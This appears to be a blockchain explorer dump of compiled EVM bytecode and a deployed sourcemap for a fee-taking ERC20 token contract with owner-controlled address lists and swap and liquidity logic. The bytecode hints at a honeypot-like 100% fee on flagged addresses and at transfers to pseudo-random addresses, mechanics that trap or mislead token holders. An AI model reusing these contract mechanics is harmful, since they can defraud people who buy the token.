611a6c90611a63906002611377565b601554906118a7565b90506000611a8e6002611a2d84611a2d60105488611c6d90919063ffffffff16565b90506000611aab83611a2d60125487611c6d90919063ffffffff16565b90506000611ac382611abd87866118a7565b906118a7565b90508015611ae657600354611ae69061010090046001600160a01b031682611e82565b8115611b0257600454611b02906001600160a01b031683611e82565b600083118015611b125750600087115b15611b2157611b218784611ebd565b50506019805460ff60a01b19169055505050505050565b6000816001600160a01b0316836001600160a01b0316141580610b3357506003546001600160a01b0384811661010090920416141580610b33575060009392505050565b60008060009050611b9d6064611a2d60135486611c6d90919063ffffffff16565b6001600160a01b03861660009081526009602052604090205490915060ff168015611be157506001600160a01b03851660009081526008602052604090205460ff16155b15611be95750815b8015611c635730600090815260056020526040902054611c099082611318565b30600081815260056020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611c5a9085815260200190565b60405180910390a35b61189e83826118a7565b600082600003611c7f57506000610ac9565b6000611c8b8385612303565b905082611c988583612358565b14610b335760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610be4565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611d2457611d246122be565b6001600160a01b03928316602091820292909201810191909152601854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611d7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611da1919061237a565b81600181518110611db457611db46122be565b6001600160a01b039283166020918202929092010152601854611dda91309116846113b9565b60185460405163791ac94760e01b81526001600160a01b039091169063791ac94790611e139085906000908690309042906004016123db565b600060405180830381600087803b158015611e2d57600080fd5b505af1158015611e41573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051611e76929190612417565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015611eb8573d6000803e3d6000fd5b505050565b601854611ed59030906001600160a01b0316846113b9565b6018546004805460405163f305d71960e01b815230928101929092526024820185905260006044830181905260648301526001600160a01b0390811660848301524260a48301529091169063f305d71990839060c40160606040518083038185885af1158015611f49573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e939190612438565b600060208083528351808285015260005b81811015611f9b57858101830151858201604001528201611f7f565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611fd157600080fd5b50565b60008060408385031215611fe757600080fd5b8235611ff281611fbc565b946020939093013593505050565b60008060006060848603121561201557600080fd5b833561202081611fbc565b9250602084013561203081611fbc565b929592945050506040919091013590565b60006020828403121561205357600080fd5b5035919050565b8035801515811461206a57600080fd5b919050565b60006020828403121561208157600080fd5b610b338261205a565b60006020828403121561209c57600080fd5b8135610b3381611fbc565b60008083601f8401126120b957600080fd5b50813567ffffffffffffffff8111156120d157600080fd5b6020830191508360208260051b85010111156120ec57600080fd5b9250929050565b60008060006040848603121561210857600080fd5b833567ffffffffffffffff81111561211f57600080fd5b61212b868287016120a7565b909450925061213e90506020850161205a565b90509250925092565b60008060006060848603121561215c57600080fd5b505081359360208301359350604090920135919050565b60008060006040848603121561218857600080fd5b833567ffffffffffffffff81111561219f57600080fd5b6121ab868287016120a7565b909790965060209590950135949350505050565b600080604083850312156121d257600080fd5b82356121dd81611fbc565b91506121eb6020840161205a565b90509250929050565b6000806040838503121561220757600080fd5b50508035926020909101359150565b6000806040838503121561222957600080fd5b823561223481611fbc565b9150602083013561224481611fbc565b809150509250929050565b600181811c9082168061226357607f821691505b60208210810361228357634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016122fc576122fc6122d4565b5060010190565b8082028115828204841417610ac957610ac96122d4565b80820180821115610ac957610ac96122d4565b60006001600160ff1b0182016122fc576122fc6122d4565b81810381811115610ac957610ac96122d4565b60008261237557634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561238c57600080fd5b8151610b3381611fbc565b600081518084526020808501945080840160005b838110156123d05781516001600160a01b0316875295820195908201906001016123ab565b509495945050505050565b85815284602082015260a0604082015260006123fa60a0830186612397565b6001600160a01b0394909416606083015250608001529392505050565b8281526040602082015260006124306040830184612397565b949350505050565b60008060006060848603121561244d57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122005d6b8d15667bb6ab959d0fe7b6a2b3db5f2324647ac32de3bde53c2169ff3b564736f6c63430008110033

Deployed Bytecode Sourcemap

19365:404:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8142:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9436:161;;;;;;;;;;-1:-1:-1;9436:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;9436:161:0;1023:187:1;5454:41:0;;;;;;;;;;-1:-1:-1;5454:41:0;;;;-1:-1:-1;;;;;5454:41:0;;;;;;-1:-1:-1;;;;;1405:32:1;;;1387:51;;1375:2;1360:18;5454:41:0;1215:229:1;8419:100:0;;;;;;;;;;-1:-1:-1;8499:12:0;;8419:100;;;1595:25:1;;;1583:2;1568:18;8419:100:0;1449:177:1;12687:313:0;;;;;;;;;;-1:-1:-1;12687:313:0;;;;;:::i;:::-;;:::i;4532:81::-;;;;;;;;;;;;;;;12148:128;;;;;;;;;;;;;:::i;8328:83::-;;;;;;;;;;-1:-1:-1;8394:9:0;;8328:83;;8394:9;;;;2442:36:1;;2430:2;2415:18;8328:83:0;2300:184:1;8805:218:0;;;;;;;;;;-1:-1:-1;8805:218:0;;;;;:::i;:::-;;:::i;11407:124::-;;;;;;;;;;-1:-1:-1;11407:124:0;;;;;:::i;:::-;;:::i;:::-;;12011:125;;;;;;;;;;-1:-1:-1;12011:125:0;;;;;:::i;:::-;;:::i;4447:36::-;;;;;;;;;;-1:-1:-1;4447:36:0;;;;;;;-1:-1:-1;;;;;4447:36:0;;;4808:45;;;;;;;;;;-1:-1:-1;4808:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;13494:242;;;;;;;;;;-1:-1:-1;13494:242:0;;;;;:::i;:::-;;:::i;5569:40::-;;;;;;;;;;-1:-1:-1;5569:40:0;;;;-1:-1:-1;;;5569:40:0;;;;;;10230:260;;;;;;;;;;-1:-1:-1;10230:260:0;;;;;:::i;:::-;;:::i;4749:50::-;;;;;;;;;;-1:-1:-1;4749:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5135:30;;;;;;;;;;;;;;;;10498:255;;;;;;;;;;-1:-1:-1;10498:255:0;;;;;:::i;:::-;;:::i;5668:29::-;;;;;;;;;;-1:-1:-1;5668:29:0;;;;-1:-1:-1;;;5668:29:0;;;;;;5172:30;;;;;;;;;;;;;;;;13118:368;;;;;;;;;;-1:-1:-1;13118:368:0;;;;;:::i;:::-;;:::i;11539:121::-;;;;;;;;;;-1:-1:-1;11539:121:0;;;;;:::i;:::-;;:::i;10761:262::-;;;;;;;;;;-1:-1:-1;10761:262:0;;;;;:::i;:::-;;:::i;8527:119::-;;;;;;;;;;-1:-1:-1;8527:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;8620:18:0;8593:7;8620:18;;;:9;:18;;;;;;;8527:119;5282:33;;;;;;;;;;;;;;;;9950:129;;;;;;;;;;-1:-1:-1;9950:129:0;;;;;:::i;:::-;;:::i;5021:32::-;;;;;;;;;;;;;;;;2799:79;;;;;;;;;;-1:-1:-1;2837:7:0;2864:6;-1:-1:-1;;;;;2864:6:0;2799:79;;3024:155;;;;;;;;;;;;;:::i;13744:111::-;;;;;;;;;;-1:-1:-1;13744:111:0;;;;;:::i;:::-;;:::i;8233:87::-;;;;;;;;;;;;;:::i;9308:120::-;;;;;;;;;;-1:-1:-1;9397:23:0;;9308:120;;5322:39;;;;;;;;;;;;;;;;9031:269;;;;;;;;;;-1:-1:-1;9031:269:0;;;;;:::i;:::-;;:::i;5209:25::-;;;;;;;;;;;;;;;;12512:167;;;;;;;;;;-1:-1:-1;12512:167:0;;;;;:::i;:::-;;:::i;15941:86::-;;;;;;;;;;-1:-1:-1;15941:86:0;;;;;:::i;:::-;-1:-1:-1;16020:4:0;;15941:86;11035:358;;;;;;;;;;-1:-1:-1;11035:358:0;;;;;:::i;:::-;;:::i;4982:26::-;;;;;;;;;;;;;;;;11795:208;;;;;;;;;;-1:-1:-1;11795:208:0;;;;;:::i;:::-;;:::i;4944:31::-;;;;;;;;;;;;;;;;5502:26;;;;;;;;;;-1:-1:-1;5502:26:0;;;;-1:-1:-1;;;;;5502:26:0;;;5060:32;;;;;;;;;;;;;;;;5099:27;;;;;;;;;;;;;;;;5616:45;;;;;;;;;;-1:-1:-1;5616:45:0;;;;-1:-1:-1;;;5616:45:0;;;;;;4906:31;;;;;;;;;;;;;;;;8654:143;;;;;;;;;;-1:-1:-1;8654:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;8762:18:0;;;8735:7;8762:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8654:143;13008:102;;;;;;;;;;-1:-1:-1;13008:102:0;;;;;:::i;:::-;-1:-1:-1;;;;;13088:14:0;13064:4;13088:14;;;:5;:14;;;;;;;;;13008:102;10087:135;;;;;;;;;;-1:-1:-1;10087:135:0;;;;;:::i;:::-;;:::i;4490:35::-;;;;;;;;;;-1:-1:-1;4490:35:0;;;;-1:-1:-1;;;;;4490:35:0;;;5243:32;;;;;;;;;;;;;;;;3187:244;;;;;;;;;;-1:-1:-1;3187:244:0;;;;;:::i;:::-;;:::i;11668:119::-;;;;;;;;;;-1:-1:-1;11668:119:0;;;;;:::i;:::-;;:::i;8142:83::-;8179:13;8212:5;8205:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8142:83;:::o;9436:161::-;9511:4;9528:39;189:10;9551:7;9560:6;9528:8;:39::i;:::-;-1:-1:-1;9585:4:0;9436:161;;;;;:::o;12687:313::-;12785:4;12802:36;12812:6;12820:9;12831:6;12802:9;:36::i;:::-;-1:-1:-1;12849:121:0;12858:6;189:10;12880:89;12918:6;12880:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;12880:19:0;;;;;;:11;:19;;;;;;;;189:10;12880:33;;;;;;;;;;:37;:89::i;:::-;12849:8;:121::i;:::-;-1:-1:-1;12988:4:0;12687:313;;;;;;:::o;12148:128::-;12255:11;-1:-1:-1;;;;;8620:18:0;12201:7;8620:18;;;:9;:18;;;;;;12228:12;;:40;;:16;:40::i;:::-;12221:47;;12148:128;:::o;8805:218::-;189:10;8893:4;8942:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;8942:34:0;;;;;;;;;;8893:4;;8910:83;;8933:7;;8942:50;;8981:10;8942:38;:50::i;11407:124::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;;;;;;;;;11489:23:::1;:34:::0;11407:124::o;12011:125::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;12092:25:::1;:36:::0;;;::::1;;-1:-1:-1::0;;;12092:36:0::1;-1:-1:-1::0;;;;12092:36:0;;::::1;::::0;;;::::1;::::0;;12011:125::o;13494:242::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;13616:3:::1;13597:22:::0;::::1;13589:31;;;::::0;::::1;;13636:9;13631:98;13647:20:::0;;::::1;13631:98;;;13711:6;13689:5;:19;13695:9;;13705:1;13695:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13689:19:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;13689:19:0;:28;;-1:-1:-1;;13689:28:0::1;::::0;::::1;;::::0;;;::::1;::::0;;13669:3:::1;::::0;::::1;:::i;:::-;;;13631:98;;;;13494:242:::0;;;:::o;10230:260::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;10358:3:::1;10339:22:::0;::::1;10331:31;;;::::0;::::1;;10378:9;10373:110;10389:20:::0;;::::1;10373:110;;;10465:6;10431:17;:31;10449:9;;10459:1;10449:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10431:31:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;10431:31:0;:40;;-1:-1:-1;;10431:40:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10411:3:::1;::::0;::::1;:::i;:::-;;;10373:110;;10498:255:::0;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;10580:16:::1;:20:::0;;;10611:16:::1;:20:::0;;;10642:11:::1;:15:::0;;;10690:55:::1;10656:1:::0;10690:38:::1;10599:1:::0;10630;10690:20:::1;:38::i;:::-;:42:::0;::::1;:55::i;:::-;10670:17;:75:::0;-1:-1:-1;;;10498:255:0:o;13118:368::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;13250:4:::1;13231:23:::0;::::1;13223:32;;;::::0;::::1;;13266:12;13281:25;13290:9:::0;13281:6;:25:::1;:::i;:::-;13335:10;8593:7:::0;8620:18;;;:9;:18;;;;;;13266:40;;-1:-1:-1;13266:40:0;-1:-1:-1;13325:29:0::1;13317:38;;;::::0;::::1;;13370:6;13366:113;13380:20:::0;;::::1;13366:113;;;13421:46;13436:10;13447:9;;13457:1;13447:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;13460:6;13421:14;:46::i;:::-;-1:-1:-1::0;13402:3:0;::::1;::::0;::::1;:::i;:::-;;;;13366:113;;;;13212:274;13118:368:::0;;;:::o;11539:121::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;11617:13:::1;:35:::0;;-1:-1:-1;;;;;11617:35:0;;::::1;;;-1:-1:-1::0;;;;;;11617:35:0;;::::1;::::0;;;::::1;::::0;;11539:121::o;10761:262::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;10843:17:::1;:21:::0;;;10875:17:::1;:21:::0;;;10907:12:::1;:16:::0;;;10957:58:::1;10922:1:::0;10957:40:::1;10863:1:::0;10895;10957:21:::1;:40::i;:58::-;10936:18;:79:::0;-1:-1:-1;;;10761:262:0:o;9950:129::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;10039:21:0;;;::::1;;::::0;;;:12:::1;:21;::::0;;;;:32;;-1:-1:-1;;10039:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;9950:129::o;3024:155::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;3112:6:::1;::::0;;3091:45:::1;::::0;3128:6:::1;::::0;-1:-1:-1;;;;;3112:6:0;;::::1;::::0;3091:45:::1;::::0;::::1;3147:6;:24:::0;;-1:-1:-1;;;;;;3147:24:0::1;3164:6;3147:24;::::0;;3024:155::o;13744:111::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;13822:16:0;;;::::1;;::::0;;;:5:::1;:16;::::0;;;;:25;;-1:-1:-1;;13822:25:0::1;::::0;::::1;;::::0;;;::::1;::::0;;13744:111::o;8233:87::-;8272:13;8305:7;8298:14;;;;;:::i;9031:269::-;9124:4;9141:129;189:10;9164:7;9173:96;9212:15;9173:96;;;;;;;;;;;;;;;;;189:10;9173:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;9173:34:0;;;;;;;;;;;;:38;:96::i;12512:167::-;12590:4;12607:42;189:10;12631:9;12642:6;12607:9;:42::i;11035:358::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;11176:15:::1;:35:::0;;;11222:15:::1;:35:::0;;;11268:10:::1;:25:::0;;;11333:52:::1;11281:12:::0;11333:36:::1;11194:17:::0;11240;11333:19:::1;:36::i;:52::-;11306:24;:79:::0;-1:-1:-1;;;11035:358:0:o;11795:208::-;11870:13;;;;;-1:-1:-1;;;;;11870:13:0;11887:10;11870:27;11862:36;;;;;;11909:21;:32;;;;;-1:-1:-1;;;11909:32:0;-1:-1:-1;;;;11909:32:0;;;;;;11957:38;;;;;;11933:8;1188:14:1;1181:22;1163:41;;1151:2;1136:18;;1023:187;11957:38:0;;;;;;;;11795:208;:::o;10087:135::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;10177:26:0;;;::::1;;::::0;;;:17:::1;:26;::::0;;;;:37;;-1:-1:-1;;10177:37:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10087:135::o;3187:244::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3276:22:0;::::1;3268:73;;;::::0;-1:-1:-1;;;3268:73:0;;7704:2:1;3268:73:0::1;::::0;::::1;7686:21:1::0;7743:2;7723:18;;;7716:30;7782:34;7762:18;;;7755:62;-1:-1:-1;;;7833:18:1;;;7826:36;7879:19;;3268:73:0::1;7502:402:1::0;3268:73:0::1;3378:6;::::0;;3357:38:::1;::::0;-1:-1:-1;;;;;3357:38:0;;::::1;::::0;3378:6;::::1;::::0;3357:38:::1;::::0;::::1;3406:6;:17:::0;;-1:-1:-1;;;;;;3406:17:0::1;-1:-1:-1::0;;;;;3406:17:0;;;::::1;::::0;;;::::1;::::0;;3187:244::o;11668:119::-;2933:6;;-1:-1:-1;;;;;2933:6:0;189:10;2933:22;2925:67;;;;-1:-1:-1;;;2925:67:0;;;;;;;:::i;:::-;11745:12:::1;:34:::0;;-1:-1:-1;;;;;;11745:34:0::1;-1:-1:-1::0;;;;;11745:34:0;;;::::1;::::0;;;::::1;::::0;;11668:119::o;1042:181::-;1100:7;;1132:5;1136:1;1132;:5;:::i;:::-;1120:17;;1161:1;1156;:6;;1148:46;;;;-1:-1:-1;;;1148:46:0;;8241:2:1;1148:46:0;;;8223:21:1;8280:2;8260:18;;;8253:30;8319:29;8299:18;;;8292:57;8366:18;;1148:46:0;8039:351:1;1833:132:0;1891:7;1918:39;1922:1;1925;1918:39;;;;;;;;;;;;;;;;;:3;:39::i;9605:337::-;-1:-1:-1;;;;;9698:19:0;;9690:68;;;;-1:-1:-1;;;9690:68:0;;8597:2:1;9690:68:0;;;8579:21:1;8636:2;8616:18;;;8609:30;8675:34;8655:18;;;8648:62;-1:-1:-1;;;8726:18:1;;;8719:34;8770:19;;9690:68:0;8395:400:1;9690:68:0;-1:-1:-1;;;;;9777:21:0;;9769:68;;;;-1:-1:-1;;;9769:68:0;;9002:2:1;9769:68:0;;;8984:21:1;9041:2;9021:18;;;9014:30;9080:34;9060:18;;;9053:62;-1:-1:-1;;;9131:18:1;;;9124:32;9173:19;;9769:68:0;8800:398:1;9769:68:0;-1:-1:-1;;;;;9850:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9902:32;;1595:25:1;;;9902:32:0;;1568:18:1;9902:32:0;;;;;;;9605:337;;;:::o;14076:1857::-;14163:4;-1:-1:-1;;;;;14190:20:0;;14182:70;;;;-1:-1:-1;;;14182:70:0;;9405:2:1;14182:70:0;;;9387:21:1;9444:2;9424:18;;;9417:30;9483:34;9463:18;;;9456:62;-1:-1:-1;;;9534:18:1;;;9527:35;9579:19;;14182:70:0;9203:401:1;14182:70:0;-1:-1:-1;;;;;14271:23:0;;14263:71;;;;-1:-1:-1;;;14263:71:0;;9811:2:1;14263:71:0;;;9793:21:1;9850:2;9830:18;;;9823:30;9889:34;9869:18;;;9862:62;-1:-1:-1;;;9940:18:1;;;9933:33;9983:19;;14263:71:0;9609:399:1;14263:71:0;14350:16;;-1:-1:-1;;;14350:16:0;;;;14347:1579;;;14400:41;14415:6;14423:9;14434:6;14400:14;:41::i;:::-;14393:48;;;;14347:1579;-1:-1:-1;;;;;14499:25:0;;;;;;:17;:25;;;;;;;;14498:26;:59;;;;-1:-1:-1;;;;;;14529:28:0;;;;;;:17;:28;;;;;;;;14528:29;14498:59;14495:359;;;14577:10;;14606:201;14622:1;14618;:5;14606:201;;14687:44;;;;;;10196:19:1;;;10231:12;;;10224:28;;;14715:15:0;10268:12:1;;;10261:28;10305:12;;14687:44:0;;;;;;;;;;;;14677:55;;;;;;14672:61;;14651:84;;14758:29;14773:6;14780:2;14783:3;14758:14;:29::i;:::-;-1:-1:-1;14624:3:0;;;;:::i;:::-;;;;14606:201;;;-1:-1:-1;14825:13:0;14835:3;14825:13;;:::i;:::-;;;14558:296;14495:359;14923:4;14874:28;8620:18;;;:9;:18;;;;;;14999:23;;14975:47;;;;;;;15055:44;;-1:-1:-1;15083:16:0;;-1:-1:-1;;;15083:16:0;;;;15082:17;15055:44;:69;;;;-1:-1:-1;;;;;;15104:20:0;;;;;;:12;:20;;;;;;;;15103:21;15055:69;:94;;;;-1:-1:-1;15128:21:0;;-1:-1:-1;;;15128:21:0;;;;15055:94;15051:305;;;15187:25;;-1:-1:-1;;;15187:25:0;;;;15184:97;;;15258:23;;15235:46;;15184:97;15300:36;15315:20;15300:14;:36::i;:::-;15359:31;15373:6;15380:9;15359:13;:31::i;:::-;15356:124;;;15427:53;;;;;;;;;;;-1:-1:-1;;;15427:53:0;;;;;;;;-1:-1:-1;;;;;15427:17:0;;-1:-1:-1;15427:17:0;;;:9;:17;;;;;;;;:53;;15449:6;;15427:21;:53::i;:::-;-1:-1:-1;;;;;15407:17:0;;;;;;:9;:17;;;;;:73;15356:124;-1:-1:-1;;;;;15533:25:0;;15495:19;15533:25;;;:17;:25;;;;;;;;;:57;;-1:-1:-1;;;;;;15562:28:0;;;;;;:17;:28;;;;;;;;15533:57;15529:207;;;-1:-1:-1;15625:6:0;15529:207;;;15686:34;15694:6;15702:9;15713:6;15686:7;:34::i;:::-;15672:48;;15529:207;-1:-1:-1;;;;;15775:20:0;;;;;;:9;:20;;;;;;:37;;15800:11;15775:24;:37::i;:::-;-1:-1:-1;;;;;15752:20:0;;;;;;;:9;:20;;;;;;;:60;;;;15834:40;;;;;;;;;;15862:11;1595:25:1;;1583:2;1568:18;;1449:177;15834:40:0;;;;;;;;15896:4;15889:11;;;;;;;1375:192;1461:7;1497:12;1489:6;;;;1481:29;;;;-1:-1:-1;;;1481:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1521:9:0;1533:5;1537:1;1533;:5;:::i;:::-;1521:17;1375:192;-1:-1:-1;;;;;1375:192:0:o;1231:136::-;1289:7;1316:43;1320:1;1323;1316:43;;;;;;;;;;;;;;;;;:3;:43::i;16035:330::-;16165:53;;;;;;;;;;;-1:-1:-1;;;16165:53:0;;;;;;;;-1:-1:-1;;;;;16165:17:0;;16128:4;16165:17;;;:9;:17;;;;;;;:53;;16187:6;;16165:21;:53::i;:::-;-1:-1:-1;;;;;16145:17:0;;;;;;;:9;:17;;;;;;:73;;;;16252:20;;;;;;;:32;;16277:6;16252:24;:32::i;:::-;-1:-1:-1;;;;;16229:20:0;;;;;;;:9;:20;;;;;;;:55;;;;16300:35;;;;;;;;;;16328:6;1595:25:1;;1583:2;1568:18;;1449:177;16300:35:0;;;;;;;;-1:-1:-1;16353:4:0;16035:330;;;;;:::o;1973:189::-;2059:7;2094:12;2087:5;2079:28;;;;-1:-1:-1;;;2079:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2118:9:0;2130:5;2134:1;2130;:5;:::i;16373:1034::-;6120:16;:23;;-1:-1:-1;;;;6120:23:0;-1:-1:-1;;;6120:23:0;;;16510:24:::1;::::0;16489:15:::1;::::0;6120:23;;16477:65:::1;::::0;16540:1:::1;::::0;16477:58:::1;::::0;;;:7;;:11:::1;:28::i;:::-;:32:::0;::::1;:58::i;:65::-;16455:87:::0;-1:-1:-1;16553:21:0::1;16577:24;:7:::0;16455:87;16577:11:::1;:24::i;:::-;16553:48;;16614:31;16631:13;16614:16;:31::i;:::-;16766:15;::::0;16681:21:::1;::::0;16656:22:::1;::::0;16737:52:::1;::::0;16766:22:::1;::::0;16786:1:::1;16766:19;:22::i;:::-;16737:24;::::0;;:28:::1;:52::i;:::-;16715:74;;16810:26;16839:59;16896:1;16839:52;16879:11;16839:35;16858:15;;16839:14;:18;;:35;;;;:::i;:59::-;16810:88;;16909:21;16933:47;16968:11;16933:30;16952:10;;16933:14;:18;;:30;;;;:::i;:47::-;16909:71:::0;-1:-1:-1;16991:26:0::1;17020:57;16909:71:::0;17020:38:::1;:14:::0;17039:18;17020::::1;:38::i;:::-;:42:::0;::::1;:57::i;:::-;16991:86:::0;-1:-1:-1;17093:22:0;;17090:95:::1;;17151:13;::::0;17130:55:::1;::::0;17151:13:::1;::::0;::::1;-1:-1:-1::0;;;;;17151:13:0::1;17166:18:::0;17130:20:::1;:55::i;:::-;17201:17:::0;;17198:84:::1;;17254:12;::::0;17233:49:::1;::::0;-1:-1:-1;;;;;17254:12:0::1;17268:13:::0;17233:20:::1;:49::i;:::-;17319:1;17298:18;:22;:41;;;;;17338:1;17324:11;:15;17298:41;17295:104;;;17354:45;17367:11;17380:18;17354:12;:45::i;:::-;-1:-1:-1::0;;6166:16:0;:24;;-1:-1:-1;;;;6166:24:0;;;-1:-1:-1;;;;;;16373:1034:0:o;13865:201::-;13950:4;13988:9;-1:-1:-1;;;;;13974:23:0;:10;-1:-1:-1;;;;;13974:23:0;;;13973:85;;;-1:-1:-1;14035:13:0;;-1:-1:-1;;;;;14021:27:0;;;14035:13;;;;;14021:27;;;:36;;-1:-1:-1;14052:5:0;;13865:201;-1:-1:-1;;;13865:201:0:o;18619:739::-;18705:7;18735:17;18755:1;18735:21;;18860:38;18894:3;18860:29;18871:17;;18860:6;:10;;:29;;;;:::i;:38::-;-1:-1:-1;;;;;19058:13:0;;;;;;:5;:13;;;;;;18848:50;;-1:-1:-1;19058:13:0;;:38;;;;-1:-1:-1;;;;;;19076:20:0;;;;;;:12;:20;;;;;;;;19075:21;19058:38;19055:61;;;-1:-1:-1;19110:6:0;19055:61;19140:13;;19137:173;;19215:4;19197:24;;;;:9;:24;;;;;;:39;;19226:9;19197:28;:39::i;:::-;19188:4;19170:24;;;;:9;:24;;;;;;;:66;;;;19256:42;;-1:-1:-1;;;;;19256:42:0;;;;;;;19288:9;1595:25:1;;1583:2;1568:18;;1449:177;19256:42:0;;;;;;;;19137:173;19329:21;:6;19340:9;19329:10;:21::i;1575:250::-;1633:7;1657:1;1662;1657:6;1653:47;;-1:-1:-1;1687:1:0;1680:8;;1653:47;1712:9;1724:5;1728:1;1724;:5;:::i;:::-;1712:17;-1:-1:-1;1757:1:0;1748:5;1752:1;1712:17;1748:5;:::i;:::-;:10;1740:56;;;;-1:-1:-1;;;1740:56:0;;11037:2:1;1740:56:0;;;11019:21:1;11076:2;11056:18;;;11049:30;11115:34;11095:18;;;11088:62;-1:-1:-1;;;11166:18:1;;;11159:31;11207:19;;1740:56:0;10835:397:1;17419:666:0;17569:16;;;17583:1;17569:16;;;;;;;;17545:21;;17569:16;;;;;;;;;;-1:-1:-1;17569:16:0;17545:40;;17614:4;17596;17601:1;17596:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;17596:23:0;;;:7;;;;;;;;;;:23;;;;17640:15;;:22;;;-1:-1:-1;;;17640:22:0;;;;:15;;;;;:20;;:22;;;;;17596:7;;17640:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;17630:4;17635:1;17630:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;17630:32:0;;;:7;;;;;;;;;:32;17707:15;;17675:62;;